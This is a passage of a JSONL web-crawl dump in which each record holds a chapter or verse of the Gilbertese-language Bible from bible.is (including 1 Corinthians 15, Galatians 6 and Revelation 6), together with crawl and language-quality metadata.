mateia. 17Ma ngaia aei, ngkami aika kam tangiraki, ngkai kam a kaman atai baikai, ngkai a tuai n roko, ao kam na tarataraingkami b'a kam kaawa ni b'aka man teimatoami n anaakin nanomi n aia bure akana buakaka. 18Ma kam na rikirake n te akoi ao n ataakin ara Uea ao ara Tia Kamaiu are Iesu Kristo. Ana b'ai te neboaki ngkai, ao n aki toki. Amen.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/2Pet\/3","date":"2016-09-25T06:18:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738659865.46\/warc\/CC-MAIN-20160924173739-00062-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":680,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.426,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 KORINTO 7:77Ai bia arou aomata ni kabaneia! Ma a bane aomata nako n toa ma te b'ai n tituaraoi mairoun te Atua: e anganaki temanna te aeka teuana, ao temanna te aeka teuana. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/7\/7","date":"2016-09-27T13:01:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738661051.55\/warc\/CC-MAIN-20160924173741-00176-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":0.9999570847,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9999570846557617}","num_words":48,"character_repetition_ratio":0.11,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.25,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Taari, I a manga tuangngkami te euangkerio are I taekinna nako imi, are kam kaki naba i nanomi, are kam tei naba iai, 2ao are kam kamaiuaki naba iai ngkana kam taua ni kamatoa i nanomi; ma ngkana kam aki, ao a matebuaka ami onimaki. 3B'a I moa n anganingkami i buakoni baika kakannato te baere I anganaki naba: b'a E mate Kristo i bukin ara bure n ai aron taekana n te B'aib'ara; 4E taunaki, ao E a manga uti n te katenibong n ai aron taekana n te B'aib'ara; 5E noraki irouni Keeb'a, ao rimwi, irouia uake tengauni ma uoman. 6Ao rimwi, E noraki irouia taari aika nimabubua tabun n te tai ae ti teuana; ao m'aitin te koraki aei a boni maiu naba ngkai, ma iai tabem'aang ake a tia ni mate. 7Ao rimwi, E noraki iroun Iakobo, ao rimwi, irouia taan tuatua ni kabaneia. 8Ao i mwiia ni kabaneia, ao E noraki naba i rou, ngke kanga ai aron te aomata ngai are e bungiaki i m'ain ana tai. 9B'a moan te mangori ngai i buakoia taan tuatua, ao I aki tau b'a N na atongaki b'a te tia tuatua, i bukina b'a I b'ainikirina ana ekaretia te Atua. 10Ma n ana akoi te Atua ao I riki n ai arou aei; ao e aki matebuaka ana akoi nako iu: b'a I m'akuri korakora riki nakoia taan tuatua akekei; ma tiaki ngai, b'a bon ana akoi te Atua are i rou. 11Ma ngaia aei, ngkana tao ngai ae I tataekina te euangkerio ke uakekei, ma anne are ti tataekinna ao kam onimaki iai. 12Ngkana e taekinaki Kristo b'a E a tia ni manga uti mai buakoia maate, ao e aera ngkai a taku tabem'aang i buakomi b'a akea manga utiia maate? 13Ma ngkana a aki manga uti maate, ao nanona ngkanne b'a e tuai ni manga uti Iesu; 14ao ngkana E tuai ni manga uti Kristo, ao a matebuaka ara reirei, ao a matebuaka naba ami onimaki. 15Ti na ataaki naba iai b'a ti kewe n ara kaotioti i bukin te Atua, ngke ti kaotiotia b'a Ngaia ae manga kamaiua Kristo man te mate; ma ngkana e koaua b'a a aki manga kamaiuaki maate, ao nanona b'a E bon aki manga kamaiua Kristo. 16B'a ngkana a aki manga kamaiuaki maate, ao nanona ngkanne b'a E tuai ni manga kamaiuaki Iesu. 17Ao ngkana E tuai ni manga kamaiuaki Iesu, ao a matebuaka ami onimaki, ao kam mena naba i buakon ami bure; 18ao a aki kamaiuaki naba te koraki ake a tia ni mate ake a onimakina Kristo. 19Ngkana arona b'a ti kaantaninga Kristo n ti te maiu aei, ao moa ni kananoanga ngaira i buakoia aomata ni kabaneia. 20Ma E a bon tia ni manga kamaiuaki Kristo mai buakoia maate, ao E riki b'a te b'ai ni kakoaua i bukiia ake a tia ni mate b'a a na manga kamaiuaki naba man te mate. 21B'a ngke e roko te mate iroun te aomata, ao boni mairoun naba te aomata rokoni manga-maiuia maate. 22B'a ngke e reke te mate irouia aomata ni kabaneia mairoun Atam, ao ai aroia naba b'a a na bane n reke i rouia te manga uti mairouni Kristo. 23Ma iai bairean temanna ma temanna ngkana e a manga kamaiuaki mai buakoia maate: b'a Kristo moa, ao rimwi te koraki ake a onimakinna ngkana E roko; 24ao rimwi te toki, are E na anga iai te tautaeka Kristo nakon te Atua are te Tama, ngkana E a tia ni kamaunai aaro n tautaeka, ma n tau aaro nako, ma aeka ni m'aka nako. 25B'a E riai n uea Kristo ni karokoa te tai are E kabaneia iai ni kakiia ana kairiribai i aani waena. 26Te kabanea ni kairiribai are na kamaunaki bon te mate. 27B'a ngke E taku te B'aib'ara b'a a bane b'aai ni kakiaki i aani waena, ao e mataata iai b'a e aki kakiaki i aana te Atua. Ma bon te Atua are kaki \"b'aai ni kabane\" i aani m'aakani Kristo. 28Ma ngkana a kabaneaki b'aai ni kakiaki i aani m'aakani Kristo, ao Ngaia ae te Nati E na kakiaki naba i aani m'aakan Teuare kabane b'aai ni kaki i aan te Nati, b'a E aonga n ataaki te Atua b'a Atuaia aomata nako, ao Atuani b'aai ni kabane. 29B'a ngkana tiaki ngaia anne, ao a na aera ake a b'abetitoaki i bukiia maate? Ngkana a bon aki manga uti maate, ao a aera ngkai a b'abetitoaki naba i bukiia? 30Ao bukin tera ngkai ti a boni kakaitara naba ma taiani kaoanikai ni katoa te aoa? 31Taari, I kaitaraa ma te mate n te bong ae koraki! I riki n taekina aei i bukin nanou ni kamoamoa i bukimi i nanoni Kristo Iesu are ara UEA. 32Ngke arona b'a I un ma maan aika tiritiri i Ebeto ao I b'aina te nano n aomata, ao tera manenana i rou? Ngkana arona b'a a aki manga kamaiuaki maate, ao e kangai te taeka n rabakau teuana, \"Ti na am'arake ma ni mooi, b'a ae ti na mate ningabong.\" 33Kam na tai burebureaki. \"Aaro n i raorao aika buakaka a uru aroaro aika riai.\" 34Kam na b'aina te iango raoi, ao tai bure; b'a iai tem'angina i buakomi aika aki ata te Atua; ao I taekina aei b'a kamamaaeami. 35Ane e na kangai temanna, \"A na kanga ni manga uti maate? Ao tera aron rab'ataia ane a na roko iai?\" 36Te baba! E aki kona n riki te baere ko unikia ngkana e aki mate moa. 37Ao ane ko unikia bon tiaki te aroka ae ikawai ma bon te uaa, ae tao uaan te uita ke tao uaan te kai riki teuana. 38Te Atua E angan te uaa anne te rab'ata n ai aron nanona, ao E katoai uaa nako ma aron rab'ataia. 39Tiaki te iriko ae ti te arona irikoni b'aai ni kabane aika maiu; iai te aeka teuana i bukiia aomata, ao teuana i bukiia manin aon te aba, ao teuana i bukiia mannikiba, ao teuana i bukiia ika. 40Ao iai rab'ata aika b'aini karawa ao rab'ata aika b'ain aon te aba; ma bon te tamaroa teuana tamaroani b'aini karawa, ao te tamaroa teuana tamaroani b'ain aon te aba. 41Bon te tamaroa teuana tamaroan taai, ao teuana tamaroan nam'akaina, ao teuana tamaroaia itoi; ma e kakaokoro tamaroan te itoi teuana ma te itoi teuana. 42Ao ai aron naba manga utiia maate. E na mka te rab'ata are taunaki, ma ngke e a manga uti, ao ai te rab'ata ae aki kona ni mka. 43Akea tamaroana ngke e taunaki, ma iai tamaroana ngke e a manga uti. Akea korakorana ngke e taunaki, ma iai korakorana ngke e a manga uti. 44E taunaki b'a te rab'ata ae bon te rab'ata, ma ngke e a manga uti ao ai te rab'ata ae te rab'ata n tamnei. Ngkana iai te rab'ata ae bon te rab'ata, ao iai naba te rab'ata ae te rab'ata n tamnei. 45Ao ai aron naba are koreaki ni kangai, \"Te moa n aomata are Atam bon te aomata ae maiu\"; Te kabanea n Atam bon te tamnei ni kamaiu. 46Ma tiaki te rab'ata n tamnei are roko moa, b'a te rab'ata ae bon te rab'ata, ao rimwi te rab'ata n tamnei. 47E riki te moa n aomata mai aon te aba, ao e karikaki man te tano; te Aomata are te kauoman boni mai karawa. 48Aron rab'atan te aomata are karikaki man te tano, bon aron naba rab'ataia aomata ake i aon te aba; aron rab'atan te Aomata are mai karawa, bon aron naba rab'ataia aomata ake mai karawa. 49Ao ngkai ti katotonga aron te aomata are karikaki man te tano, ao ti na manga katotonga naba aron te Aomata are mai karawa. 50Ao aio au taeka, taari: e aki kona ni karekea uean te Atua te iriko ma te raraa, ao e aki kona naba ni karekea te aki mka te mka. 51Noria, I tuangngkami te b'ai ae raba: Ane ti na aki bane ni mate, ma ti na bane n onikaki, 52n te tai ae moan te waekoa, n te rube ni mata, n tangin te kabanea ni bu. B'a ane e na tangi te bu, ao a na manga kamaiuaki maate n aki kona ni mka, ao ti na onikaki. 53B'a e riai n oneaki te aro ni mka aei nakon te aki mka, ao te aro ni mamate aei nakon te aki mamate. 54Ao ngkana e a tia n onikaki te aro ni mka aei nakon te aki mka, ao te aro ni mamate aei nakon te aki mamate, ao e kakoauaki iai te taeka are koreaki ni kangai: \"E tae ana kai te mate! 55Te Mate, e nga am tokanikai? Te Mate, e nga am b'ai ni kaikoaki?\" 56Te bure boni ngaia ana b'ai ni kaikoaki te mate, ao korakoran te bure bon te Tua. 57Ma E na katituaraoaki te Atua, are anganira te tokanikai iroun ara UEA are Iesu Kristo. 58Ma ngaia aei, tariu, aika kam tangiraki, kam na teimatoa, ao kam na aki toki ni kakaraoi ana m'akuri te UEA, ngkai kam ataia b'a a aki matebuaka ami m'akuri i bukin te UEA.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/15","date":"2016-09-30T04:12:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738662018.69\/warc\/CC-MAIN-20160924173742-00063-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1530,"character_repetition_ratio":0.065,"word_repetition_ratio":0.017,"special_characters_ratio":0.254,"stopwords_ratio":0.405,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"19B'a aroia aomata aika bati ngke a riki n atongaki b'a taani bure n ana aki-ongeaba te aomata ae ti temanna, ao ai aroia naba aomata aika bati b'a a na kaetaki aroia n reitaki ma te Atua n ana ongeaba te aomata ae ti temanna.\nROM 5:19\nFREE!\nOne App.\n1210 Languages.","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/5\/19","date":"2016-09-30T05:47:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738662022.71\/warc\/CC-MAIN-20160924173742-00048-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":51,"character_repetition_ratio":0.117,"word_repetition_ratio":0.0,"special_characters_ratio":0.267,"stopwords_ratio":0.392,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Taari, ngkana e bure te aomata temanna, ao ngkami akana kam kairaki iroun te Tamnei, kam na manga kaetia n te nano ae nimamanei; ma ko na tarataraiko, b'a ko kaawa ni manga kaririaki naba ngkoe. 2Kam na i buobuoki n uotami nako, ao kam na toua mwin ana tua Kristo iai. 3B'a ngkana e taku temanna n ana iango b'a e kakannato, ngke e bon aki, ao e burebureia. 4Ma a na kataa oin aia m'akuri aomata n tatabemaniia nako b'a a uara, ao ane e na kamoamoa te aomata i nanona n ti ngaia n are e a tia ni karaoia. E na aki kabotaua are e karaoia ma are e karaoia temanna. 5B'a a na bon uoti oin uotaia aomata n tatabemaniia nako. 6Ao ane reireiaki ana taeka te Atua e na buokanib'ai ni baika raraoi ma te tia reirei. 7Kam na tai burebureaki; E aki konaaki ni m'am'anaki te Atua: b'a te bae e unikia te aomata, ao e na manga anaa naba uaana. 8B'a ane ira nanon rab'atana ao e na anaa mwina ae te mate man te rab'ata; ao ane ira nanon te Tamnei 9Ma a na tai toki nanora ni kakaraoa ae e raoiroi, b'a ti a bon tai anai mwin ara m'akuri n te tai ae riai, ngkana a aki b'ara nanora. 10Ma ngaia ae ti na kakaraoa ae e raoiroi nakoia aomata ni kabaneia, n aron ae ti kona, ao ai moara riki nakoia kaain te utu n onimaki. 11Nori manin au koroboki aika I koroi n oini baiu b'a ai buubura ra! 12A i manonoingkami te koraki akana kani bakantamaroa n aron te maiu n rab'ata b'a kam na korotabonim'aneaki; b'a ti i bukin aei, b'a a aonga n aki b'ainikirinaki i bukin tataekinan ana kaibangaki Kristo. 13B'a a aki toua naba mwin te Tua te koraki ake a korotabonim'aneaki; ma a tangiringkami b'a kam na korotabonim'aneaki, b'a a aonga ni kamoamoaia n aromi ni kariaia. 14Ma ngai, I bon aki kani kamoamoaai n te b'ai teuana, ma ti n ana kaibangaki ara UEA are Iesu Kristo; b'a n ana kaibangaki ao ai aron ae mate te aonnaba nako iu, ao ngai nakon te aonnaba. 15B'a e aki kakawaki te korotabonim'aneaki ke te aki-korotabonim'aneaki, ma e kakawaki reken te maiu ae boou ni maiun te aomata. 16E na mena i aoia akana e reke i rouia te aro aei te rau ma te nanoangaki, ao i aoia naba ana Iteraera te Atua. 17Kabanean au taeka: Akea ae na kariki baika N na aki rau iai; b'a I uoti mwin kain te UEA are Iesu n rab'atau. 18E na mena ana akoi ara UEA are Iesu Kristo irouia tamneimi, taari. Amen.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Gal\/6","date":"2016-09-30T17:58:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738662321.82\/warc\/CC-MAIN-20160924173742-00010-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":451,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.421,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Raou aika kam tangiraki, ngkai ara b'ai ma ngkami taeka n akoi aikai, ao ti na kaitiakiira mani kam'araan nako te rab'ata ma te tamnei, ao ti na kakororaoa aroni maiura n reitaki ma te Atua n arora ni maka te Atua. 2Kaota ami tangira nako ira; akea temanna ae ti karaoa ae kairua nako ina; akea ae ti urua maiuna ae raoiroi, ao akea ae ti burebureia. 3I aki atonga aei b'a N na kabuakakaingkami iai, b'a I a tia n taku rimoa b'a kam memena i nanora, ngkana tao ti mate ke ti maiu. 4I rangi n onimakiningkami, ao I rangi ni kamoamoa i roumi; e rangi n rau nanou, ao moan te bati kakatongau i buakon rawawatara ni bane. 5B'a ngke ti roko i M'aketonia, ao a aki motirawa rab'atara, ma ti karawawataki n aaro nako, n taiani kauntaeka ma aomata, ao n taiani maaku i nanora. 6Ma te Atua are karau nanoia akana b'ara nanoia E karau naba nanora n rokon Tito. 7Tiaki n ti rokon Tito ae a karauaki nanora iai, ma n ana rongorongo naba i bukimi n aromi ni karaua nanona. E kaongoira aron ingaingan nanomi ni kan norai, ma tangimi, ma nanomi aika korakora i buku; ao boni moan te kakatonga riki ngai. 8B'a e boni ngae ngke I karawawataingkami n au reta arei, ma I aki nanokawaki iai, e ngae ngke I bon nanokawaki iai ngkoa ngke I ataia b'a kam karawawataki iai i nanon tabeua te tai. 9Ma I kukurei ngkai, tiaki i bukina ngke kam a tia ni karawawataki, ma i bukina ngke e riki rawawatami b'a karikani bitakin nanomi. B'a kam karawawataki n aron nanon te Atua, b'a kam na aki kabuanib'ai n te aro teuana i roura. 10B'a te rawawata are kaeti ma nanon te Atua e karika rairan te nano nakon te maiu, ao akea te nanokawaki ae na reke i mwina; ma rawawatan aon te aba e karika te mate. 11B'a nora te baei, ae karawawatami n reitaki ma nanon te Atua; ai tera arona ni karika te nano ae korakora, ma te nano ni kani kaota ae kam aki bure, ma te nano n un, ma te nano ni maaku, ma te nano n ingainga, ma te nano ni kani kareke kai. Kam kaotingkami ni b'aai ni kabane b'a kam itiaki n te baerei. 12Ma ngaia aei, ngke I koroboki nako imi, ao I aki koroboki i bukin teuare karaoa are buakaka, ao I aki naba i bukin teuare e karaoaki ae buakaka nako ina; ma I koroboki b'a e na kaotaki nako imi i matan te Atua, aron nanomi ae korakora i bukira. 13Ma ngaia ae a karauaki nanora. Ao i rarikin raun nanora aei, ao e a kabatiaki riki kakatongara ni kakatongan Tito, i bukina ngke e a tia ni karauaki tamneina i roumi ni kabaneingkami. 14B'a ngke I kamoamoaingkami nakon Tito n te b'ai teuana, ao I aki mamaa; ma ngkai a koaua b'aai ni kabane ake ti taekin nako imi, ao ai aron naba ara taeka are ti kamoamoaingkami iai nakon Tito, b'a e ataaki b'a e boni koaua. 15E rikirake tangirami i rouna, ngkae e uringa aromi ni kabaneingkami n ongeaba nako ina, ma aromi ni m'aneia n akoia ma te rurubenebene ni maaku. 16I rangi ni kukurei b'a I a kona n onimakiningkami ni karaoan b'aai ni kabane ake kam riai ni karaoi.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/7","date":"2016-10-01T11:26:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738662705.84\/warc\/CC-MAIN-20160924173742-00027-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":566,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.41,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao I nora te Tiibuteteei ngke E kaaki te b'ai ni kanim ae te kanika are teuana mai buakoni b'aai ni kanim ake itiua, ao I ongo b'anaan temanna mai buakoia baike a maiu ake aman ngke e kaangai, \"Mai!\" ao kanga ai aron rebwen te b'a b'anaana. 2Ao I taratara nako, ao noria, te aoti ae mainaina! Ao teuare toka i aona iai te kai ni katebe i rouna. Ao e anganaki te baunuea; ao e tokara ana aoti n nako b'a ai aron te tia buaka ae tokanikai. 3Ngke E kaaki te b'ai ni kanim are te kanikina are te kauoua, ao I ongo b'anaan te baere maiu are te kauoman b'a e kaangai, \"Mai.\" 4Ao e oti nako te aoti temanna, ae uraura; ao e anganaki teuare toka i aona te kona ni karokoa te buaka i aon te aba, b'a a na i kamamate aomata; ao e anganaki te kabaang ae ab'ab'aki. 5Ao ngke E kaaki te b'ai ni kanim are te kanikina are te katenua, ao I ongo b'anaan te baere maiu are te kateniman b'a e kaangai, \"Mai.\" Ao I taratara nako, ao noria, te aoti ae roro! Ao teuare toka i aona, iai te b'ai n tau-rawawata i nanoni baina. 6Ao I ongo te bae kanga ai aron te b'ana mai buakoia baike a maiu ake aman b'a e kaangai, \"Boon uoua te rawawata n uita teuana te tenari, ao onoua te rawawata ni b'are teuana te tenari; ao ko na tai b'ainikirina te b'a ma te wain!\" 7Ao ngke E kaaki te b'ai ni kanim are te kanikina are te kaaua, ao I ongo b'anaan te baere maiu are te kaaman b'a e kaangai, \"Mai.\" 8Ao I taratara nako, ao noria, te aoti ae maii! Ao aran teuare toka i aona te Mate; ao e ririmwiaki iroun Eriti. A a anganaki te tauu taekani kaa m'akoron aonnaba, b'a a na kamateia aomata n te kabaang, ao n te rongo, ao n te aoraki ae kamamate, ao irouia manin aonnaba aika kaakang. 9Ao ngke E kaaki te b'ai ni kanim are te kanikina are te kanimaua, ao I nooriia aomataia ni koaua te koraki ake a kamateaki ngkoa i bukin ana taeka te Atua, ao i bukin naba aroia ni kakaonimaki n tataekina ana taeka te Atua; 10ao a takarua n te b'anaa ae korakora, ao a kaangai, \"Te Toka ae Ko tabu ao Ko koaua, ai ti maanraa riki ao Ko a motiki taekaia aomata aika maeka i aon te aba, ma n iri taangara i bukina ngke a kamateira?\" 11Ao a bane n anganaki kunnikai aika m'arairai aika mainaina; ao a tuangaki b'a a na motirawa ni katoki kuaia ni kamaniia teutana, ni karokoa ae e koro raoi m'aitiia raoia n toro ma tariia ake a nang kamateaki n ai aroia naba. 12Ao I mataku ngke E kaaki te b'ai ni kanim are te kanikina are te kaonoua, ao noria, m'aeiein te aba, ae te m'aiei ae korakora! Ao e riki n roro taai, kanga ai aron te kunnikai ae mangaingai ae roro, ao matan nam'akaina ae b'anin e riki n ai aron te raraa taraana; 13a b'aka i aontano itoini karawa, n ai aron te biku ngkana e kab'akai uaana aika tuai n tawaa, ngkana e ioioaki n te ang ae korakora. 14E mauna nako karawa n ai aron te nira ni boki ngkana e niniraki; ao a bane ni kam'aeaki nako maunga ma abam'akoro mani neia. 15Ao uean aonnaba, ma ake a kakannato, ma ake mataniwi n taanga ni buaka, ma ake a kaub'ai, ma ake a korakora, ma tooro ni kabaneia, ma inaomata ni kabaneia, a karabaia i nanoni b'angani matang ao i buakon atibu aika totoa i aoni maunga; 16ao a kaangai nakoni maunga ma atibu, \"Kam na b'akarira, ao kam na karabaira mai matan Teuare tekateka i aon te kaintokanuea, ao man unin te Tiibuteteei. 17B'a e a roko te bong are kakamaaku are bongin unna, ao ai antai ae kona n tei i m'aina?\"\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/6","date":"2016-09-26T21:48:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738660887.60\/warc\/CC-MAIN-20160924173740-00008-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":670,"character_repetition_ratio":0.09,"word_repetition_ratio":0.039,"special_characters_ratio":0.25,"stopwords_ratio":0.44,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"17Ma ngke e uea te mate iroun ae ti temanna i bukin ana bure, ao ai moa ra riki b'a aomata aika anganaki te akoaki ae bati ma te b'ai n tituaraoi are kaetan aroia n reitaki ma te Atua, a na korakora n aroia nako iroun ti temanna are Iesu Kristo.\nROM 5:17\nFREE!\nOne App.\n1207 Languages.","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/5\/17","date":"2016-09-27T19:54:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738661155.8\/warc\/CC-MAIN-20160924173741-00046-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":57,"character_repetition_ratio":0.022,"word_repetition_ratio":0.0,"special_characters_ratio":0.267,"stopwords_ratio":0.404,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Te moa ni b'ai ae kakawaki bon au bubuti b'a a na iai taian tataro ni bubuti ma n onon, ao ni katituaraoi naba i bukiia aomata ni kabaneia; 2i bukiia uea ma mataniwi aika kakannato ni kabaneia, b'a ti aonga n rau ma n aki kaberoroaki n arora ni kaota karinean te Atua, ao n arora aika riai nakoia aomata. 3E raoiroi aei ao e riai i matan ara Tia Kamaiu ae te Atua; 4ae tangiriia aomata ni kabaneia b'a a na kamaiuaki, ma n ata te koaua ae kaangai, 5B'a ti temanna te Atua, ao ti temanna naba te tia raoi i marenan te Atua ma aomata, b'a te aomata are Kristo Iesu, 6are anga Ngaia i bukini kainaomataiia aomata ni kabaneia. E a kaotia n arona anne b'a te b'ai ni kakoaua n taina ae riai i bukin nanon te Atua n tangiriia aomata ni kabaneia b'a a na kamaiuaki; 7ao anne bukin ae I rineaki iai b'a te tia katanoataa taekana, te tia tuatua, ao te tia reireiia aomata aika tiaki I-Iutaia taekan te onimaki ma te koaua. I atonga te koaua, I aki kewe. 8Ma ngaia ae I tangiriia mm'aane b'a a na arori baiia aika aki karaoa ae buakaka ao a na tabeki rake n tataro n taabo nako, n aki un ma n aki kauntaeka. 9I tangiriia naba aine b'a a na kunnikainiia n te kunnikai ae riai ae a na aki taekinaki ni kamoamoaki iai; ao a na tai kunnikainiia ni kunnikai aika bo-buaka; 10ma a na katamaroaia ni m'akuri aika raraoi, b'a bon te b'ai ae riai irouia aine aika tabu b'a Kristian ngaiia. 11E na reirei te aine ma e na aki karongoa, ao e na aan taeka. 12I aki kariaia te aine b'a e na anga reirei, ke e na iai m'aakana i aoia mm'aane, ma e riai ni kainab'aabu. 13B'a e karaoaki moa Atam, ao rimwi Ewa; 14ao e aki m'am'anaki Atam, ma e m'am'anaki te aine, ao e riki b'a te tia ri aon ana tua te Atua. 15Ma e na kamaiuaki ni bungian natina, ngkana e teimatoa i nanon te onimaki ma te tangira, ao ni b'aina te maiu ae itiaki ma n nanowanawana.\nCopyright","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/1Tim\/2","date":"2016-09-24T21:37:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738659496.36\/warc\/CC-MAIN-20160924173739-00207-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":369,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.48,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke a ua kaan ma Ierutarem ao kaawa ake Beteb'ake ma Betania, ngke a mena n te maunga are Oriweta, ao Iesu E kanakoia uoman ana reirei b'a a na ri moa; 2ao E taku nako ia, \"Naako n te kawa ane i m'aimi. Ngkana kam roko iai, ao ane kam na kunea te aati te teei ae rooaki ae e tuai n tokaraki aona. Kab'araa, ao kairiia mai. 3Ngkana e kangai temanna nako imi, E aera ngkai kam karaoa anne, ao kam na kangai, 'E tangiria te Uea, ao E na manga kaokia n te tai ae waekoa.' \" 4Ma ngaia are a nako, ao a kunea te aati te teei i tinaniku ae rooaki ma mataroan te auti. 5Ngke a tabe ni kab'araa roon te aati te teei, ao a titirakinaki irouia aomata ake a teitei n ua kaani ma ngaiia, ao a kangai, \"E aera ngkai kam kab'ara te aati te teei?\" 6A kaeka n ai aron tuangaia iroun Iesu, ao a kanakoaki irouia aomata akekei. 7A kaira te aati te teei nakon Iesu; a katokai kunnikaia i aona, ao E toka Iesu i aona. 8Ao aomata aika m'aiti a taakini kunnikaiia i nanon te kawai, ao tem'angina a korei m'angani kaai man te tawaana ao a kawenei n te kawai. 9A takarua te koraki ake a ri moan Iesu ao ake a ri mwina ni kangai, \"E na neboaki te Atua! Te Atua, kakab'aia Teuae nako mai n aran te Uea! 10Te Atua, kakab'aia rokon uean te uea are Tawita, are tamara! E na neboaki te Atua!\" 11E roko Iesu i Ierutarem, ao E rin n te um'antabu, ao E taratarai b'aai nako. Ngkae e a b'akanako te tai b'a e a kani bong, ao E nako Iesu ma ana reirei ake tengauni ma uoman nako Betania. 12N te bong are i mwina, ngke a tabe n nakonako i aoni kawaia n oki mai Betania, ao E taonaki n te baki Iesu. 13E nora mai kiraroa te kai ae te biku b'a a maiu reirei baana. Ma ngaia are E nako iai b'a E kan nori uaana. Ma ngke E roko iai, ao akea te b'ai ae E noria b'a ti baana, i bukina b'a e tuai n roko aia tai n uaa kaai aika biku. 14Ao E taku Iesu nakon te kai arei, \"Akea te aomata ae na manga kana uaam ma ngkai ao nakon taai rimwi.\" A ongo b'anaana ana reirei. 15Ngke a roko i Ierutarem, ao E nako n te um'antabu Iesu ao E kakionakoia aomata ake a bob'ai ma ake a kabo nako b'aai. E karangai aia taibora taan rai m'ane, ma aia kai n tekateka taani kabo nako bitin; 16ao E tukiia aomata b'a a na akea temanna ae na uota te b'ai teuana ri nanon te um'antabu. 17E reireiia ngkanne aomata ao E taku nako ia, \"E koreaki n te B'aib'ara ana taeka te Atua ae kangai, 'E na atongaki au um'antabu b'a te tabo n tataro i bukiia aomata nako.' Ma kam a tia ni karaoia b'a neia ni maeka taani kimoa!\" 18A ongo taekan aei ibonga ake mataniwi ma taani koroboki; ma ngaia are a ukoukora te anga are a na kamatea iai Iesu. A makua, i bukina ngke a mimi aomata n ana reirei. 19E kitana te kawa Iesu ma ana reirei ngke e a tairiki. 20Ngke e moa n ingabong n te bong are i mwina, ngke a nakonako i nanon te kawai, ao a nora te kai are te biku b'a e rai mai taberana nakoni 